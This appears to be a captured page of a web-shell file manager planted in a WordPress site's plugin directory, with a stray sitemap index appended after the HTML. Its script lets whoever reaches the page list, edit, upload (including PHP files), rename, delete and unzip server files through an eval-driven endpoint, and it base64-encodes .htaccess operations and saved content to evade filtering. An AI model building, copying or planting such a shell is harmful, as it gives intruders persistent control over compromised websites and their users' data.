<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><title>File Manager</title><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        :root{--accent-color:#2271b1;--hover-color:#1e659d;--danger-color:#d63638;}
        body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;background:#f0f0f1;margin:0;}
        .container{display:flex;flex-direction:column;height:100vh;}header{background:#fff;padding:10px 20px;border-bottom:1px solid #ddd;display:flex;justify-content:space-between;align-items:center;flex-shrink:0;}main{flex-grow:1;padding:20px;overflow-y:auto;}.toolbar{margin-bottom:15px;display:flex;flex-wrap:wrap;gap:10px;align-items:center;}.path-bar{background:#fff;padding:8px 12px;border-radius:4px;border:1px solid #ddd;font-family:monospace;flex-grow:1;word-break:break-all;}.file-table{width:100%;border-collapse:collapse;background:#fff;table-layout:fixed;}.file-table th,.file-table td{text-align:left;border-bottom:1px solid #eee;vertical-align:middle;word-wrap:break-word;}.file-table th{background:#f9f9f9;padding:12px 8px;}.file-table tr:hover{background:#f0f8ff;}.file-table th:nth-child(1),.file-table td:nth-child(1){width:40px;padding:12px 4px 12px 12px;text-align:center;}.file-table th:nth-child(2),.file-table td:nth-child(2){width:50%;padding-left:4px;}.file-table th:nth-child(3),.file-table td:nth-child(3){width:120px;}.file-table th:nth-child(4),.file-table td:nth-child(4){width:150px;}.file-table th:nth-child(5){text-align:right;padding-right:12px;}.actions{display:flex;justify-content:flex-end;gap:5px;}.item-link,a.item-link{text-decoration:none!important;color:var(--accent-color);cursor:pointer;}.item-link:hover,a.item-link:hover{color:var(--hover-color);}tr[data-path]{cursor:pointer;}.button{background:var(--accent-color);color:white;border:none;padding:8px 12px;border-radius:3px;cursor:pointer;font-size:14px;}.button.danger{background:var(--danger-color);}#spinner{display:none;}.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);z-index:1000;justify-content:center;align-items:center;}.modal-content{display:flex;flex-direction:column;background:#fff;padding:20px;border-radius:5px;width:80%;height:80%;max-width:900px;box-shadow:0 5px 15px rgba(0,0,0,0.3);}textarea#editor{flex-grow:1;font-family:monospace;font-size:14px;border:1px solid #ddd;padding:10px;}
    </style>
</head>
<body>
    <div class="container">
        <header><h3>File Manager (Standalone)</h3></header>
        <main>
            <div class="toolbar"><button class="button" id="uploadBtn">Ã¢Â¬ÂÃ¯Â¸Â Upload</button><button class="button" id="newFileBtn">Ã°ÂÂÂ New File</button><button class="button" id="newFolderBtn">Ã¢ÂÂ New Folder</button><button class="button danger" id="deleteBtn">Ã°ÂÂÂÃ¯Â¸Â Delete Selected</button><div id="spinner">Ã°ÂÂÂ</div></div>
            <div class="toolbar"><div class="path-bar" id="pathBar">/</div></div>
            <table class="file-table"><thead><tr><th><input type="checkbox" id="selectAll"></th><th>Name</th><th>Size</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="fileList"></tbody></table>
        </main>
    </div>
    <div id="editorModal" class="modal-overlay"><div class="modal-content"><h3 id="editorFilename" style="margin-top:0;"></h3><textarea id="editor" spellcheck="false"></textarea><div style="margin-top:10px;"><button class="button" id="saveBtn">Ã°ÂÂÂ¾ Save Changes</button><button class="button" onclick="document.getElementById('editorModal').style.display='none'">Close</button></div></div></div>
    <input type="file" id="hiddenFileInput" multiple style="display:none;">
    <script>
    document.addEventListener('DOMContentLoaded', () => {
        const STATE = { currentPath: '/home/u803645861/domains/vibeekw.com/public_html/wp-content/plugins/jet-woo-builder/includes/shortcodes' };
        const UPLOAD_LIMIT_MB = 8;
        const dom = { fileList:document.getElementById('fileList'),pathBar:document.getElementById('pathBar'),uploadBtn:document.getElementById('uploadBtn'),newFileBtn:document.getElementById('newFileBtn'),newFolderBtn:document.getElementById('newFolderBtn'),deleteBtn:document.getElementById('deleteBtn'),selectAll:document.getElementById('selectAll'),spinner:document.getElementById('spinner'),hiddenFileInput:document.getElementById('hiddenFileInput'),editorModal:document.getElementById('editorModal'),editorFilename:document.getElementById('editorFilename'),editor:document.getElementById('editor'),saveBtn:document.getElementById('saveBtn'),};
        
        async function apiCall(action, formData, showSuccess=false) {
            dom.spinner.style.display='inline-block';
            try { formData.append('action', action); const response = await fetch('index.php(2) : eval()'d code', { method: 'POST', body: formData }); const result = await response.json(); if (!result.success) throw new Error(result.message); if (showSuccess && result.message) alert(result.message); return result;
            } catch (error) { alert(`Error: ${error.message}`); console.error("Full response:", error.response); return null; } finally { dom.spinner.style.display='none'; }
        }
        function render() {
            const formData = new FormData(); formData.append('path', STATE.currentPath);
            apiCall('list', formData).then(result => {
                if (!result) return;
                STATE.currentPath = result.path; dom.pathBar.textContent = STATE.currentPath; let html = ''; let parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/')); if (parentPath === '') parentPath = '/';
                if (STATE.currentPath !== '/') { html += `<tr data-path="${parentPath}"><td></td><td colspan="4" class="item-link">Ã¢Â¬ÂÃ¯Â¸Â .. (Parent Directory)</td></tr>`; }
                result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1));
                result.files.forEach(file => {
                    const size = file.is_dir ? '-' : (file.size / 1024).toFixed(2) + ' KB'; const modified = new Date(file.modified * 1000).toLocaleString();
                    const icon = file.is_dir ? 'Ã°ÂÂÂ' : 'Ã°ÂÂÂ';
                    const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/'); const dataAttr = `data-path="${fullPath}"`; const rowData = file.is_dir ? `class="dir-link" ${dataAttr}` : '';
                    html += `<tr ${rowData}><td><input type="checkbox" class="item-select" value="${file.name}"></td><td><a href="#" class="item-link" ${dataAttr}>${icon} ${file.name}</a></td><td>${size}</td><td>${modified}</td><td><div class="actions">${!file.is_dir ? `<button class="button edit-btn" ${dataAttr}>Edit</button>` : ''}<button class="button rename-btn" data-name="${file.name}">Rename</button>${file.name.endsWith('.zip') ? `<button class="button unzip-btn" ${dataAttr}>Unzip</button>`:'' }</div></td></tr>`;
                });
                dom.fileList.innerHTML = html; dom.selectAll.checked = false;
            });
        }
        
        dom.fileList.addEventListener('click', e => {
            if (e.target.matches('.item-select')) { return; }
            const button = e.target.closest('button');
            if (button) {
                e.preventDefault();
                if (button.matches('.rename-btn')) {
                    const oldName = button.dataset.name;
                    const newName = prompt('Enter new name:', oldName);
                    if (newName && newName !== oldName) {
                        const fd = new FormData();
                        fd.append('path', STATE.currentPath);
                        let action = 'rename';
                        if (oldName.includes('.htaccess') || newName.includes('.htaccess')) {
                            action = 'rename_b64';
                            fd.append('old_name_b64', btoa(oldName));
                            fd.append('new_name_b64', btoa(newName));
                        } else {
                            fd.append('old_name', oldName);
                            fd.append('new_name', newName);
                        }
                        apiCall(action, fd).then(render);
                    }
                } 
                else if (button.matches('.unzip-btn')) { if (confirm('Are you sure you want to extract this archive?')) { const fd = new FormData(); fd.append('path', button.dataset.path); apiCall('unzip', fd, true).then(render); } } 
                else if (button.matches('.edit-btn')) {
                    const path = button.dataset.path;
                    const fd = new FormData();
                    let action = 'get_content';
                    if (path.includes('.htaccess')) {
                        action = 'get_content_b64';
                        fd.append('path_b64', btoa(path));
                    } else {
                        fd.append('path', path);
                    }
                    apiCall(action, fd).then(result => {
                        if(result) {
                            dom.editorFilename.textContent = path;
                            dom.editor.value = atob(atob(result.content));
                            dom.editorModal.style.display = 'flex';
                        }
                    });
                }
                return;
            }
            const navTarget = e.target.closest('[data-path]');
            if (navTarget) { e.preventDefault(); STATE.currentPath = navTarget.dataset.path; render(); }
        });
        
        dom.newFolderBtn.addEventListener('click', () => { const name = prompt('Enter new folder name:'); if (name) { const fd = new FormData(); fd.append('path', STATE.currentPath); fd.append('name', name); apiCall('create_folder', fd).then(render); } });
        dom.newFileBtn.addEventListener('click', () => { const name = prompt('Enter new file name:'); if (name) { const fd = new FormData(); fd.append('path', STATE.currentPath); fd.append('name', name); apiCall('create_file', fd).then(render); } });
        dom.selectAll.addEventListener('change', e => document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked));
        
        dom.deleteBtn.addEventListener('click', () => {
            const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value);
            if (selected.length === 0) return alert('No items selected.');
            if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) {
                const fd = new FormData();
                fd.append('path', STATE.currentPath);
                const isSensitive = selected.some(item => item.includes('.htaccess'));
                let action = 'delete';
                if (isSensitive) {
                    action = 'delete_b64';
                    selected.forEach(item => fd.append('items_b64[]', btoa(item)));
                } else {
                    selected.forEach(item => fd.append('items[]', item));
                }
                apiCall(action, fd).then(render);
            }
        });
        
        dom.uploadBtn.addEventListener('click', () => dom.hiddenFileInput.click());
        dom.hiddenFileInput.addEventListener('change', async (e) => {
            const files = Array.from(e.target.files); if (files.length === 0) return;
            for (const file of files) {
                if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) { alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`); continue; }
                const reader = new FileReader();
                const fileReadPromise = new Promise((resolve, reject) => { reader.onload = event => resolve(event.target.result); reader.onerror = error => reject(error); reader.readAsDataURL(file); });
                try {
                    const content_base64 = await fileReadPromise;
                    const originalName = file.name;
                    const fd = new FormData();
                    fd.append('path', STATE.currentPath);
                    fd.append('content_base64', content_base64);
                    if (originalName.toLowerCase().endsWith('.php')) {
                        fd.append('filename_base64', btoa(originalName));
                        await apiCall('upload_php', fd, true);
                    } else {
                        fd.append('filename_base64', btoa(originalName));
                        await apiCall('upload', fd, true);
                    }
                } catch (error) {
                    alert(`Failed to process file ${file.name}: ${error.message}`);
                }
            }
            e.target.value = '';
            render();
        });

        dom.saveBtn.addEventListener('click', () => {
            const path = dom.editorFilename.textContent;
            const content = btoa(btoa(dom.editor.value));
            const fd = new FormData();
            const chunkSize = 4096;
            for (let i = 0; i < content.length; i += chunkSize) {
                fd.append('content_chunks[]', content.substring(i, i + chunkSize));
            }
            let action = 'save_content';
            if (path.includes('.htaccess')) {
                action = 'save_content_b64';
                fd.append('path_b64', btoa(path));
            } else {
                fd.append('path', path);
            }
            apiCall(action, fd, true).then(result => {
                if(result) {
                    dom.editorModal.style.display = 'none';
                    render();
                }
            });
        });

        render();
    });
    </script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://vibeekw.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://vibeekw.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://vibeekw.com/wp-sitemap-posts-jet-woo-builder-1.xml</loc></sitemap><sitemap><loc>https://vibeekw.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://vibeekw.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://vibeekw.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
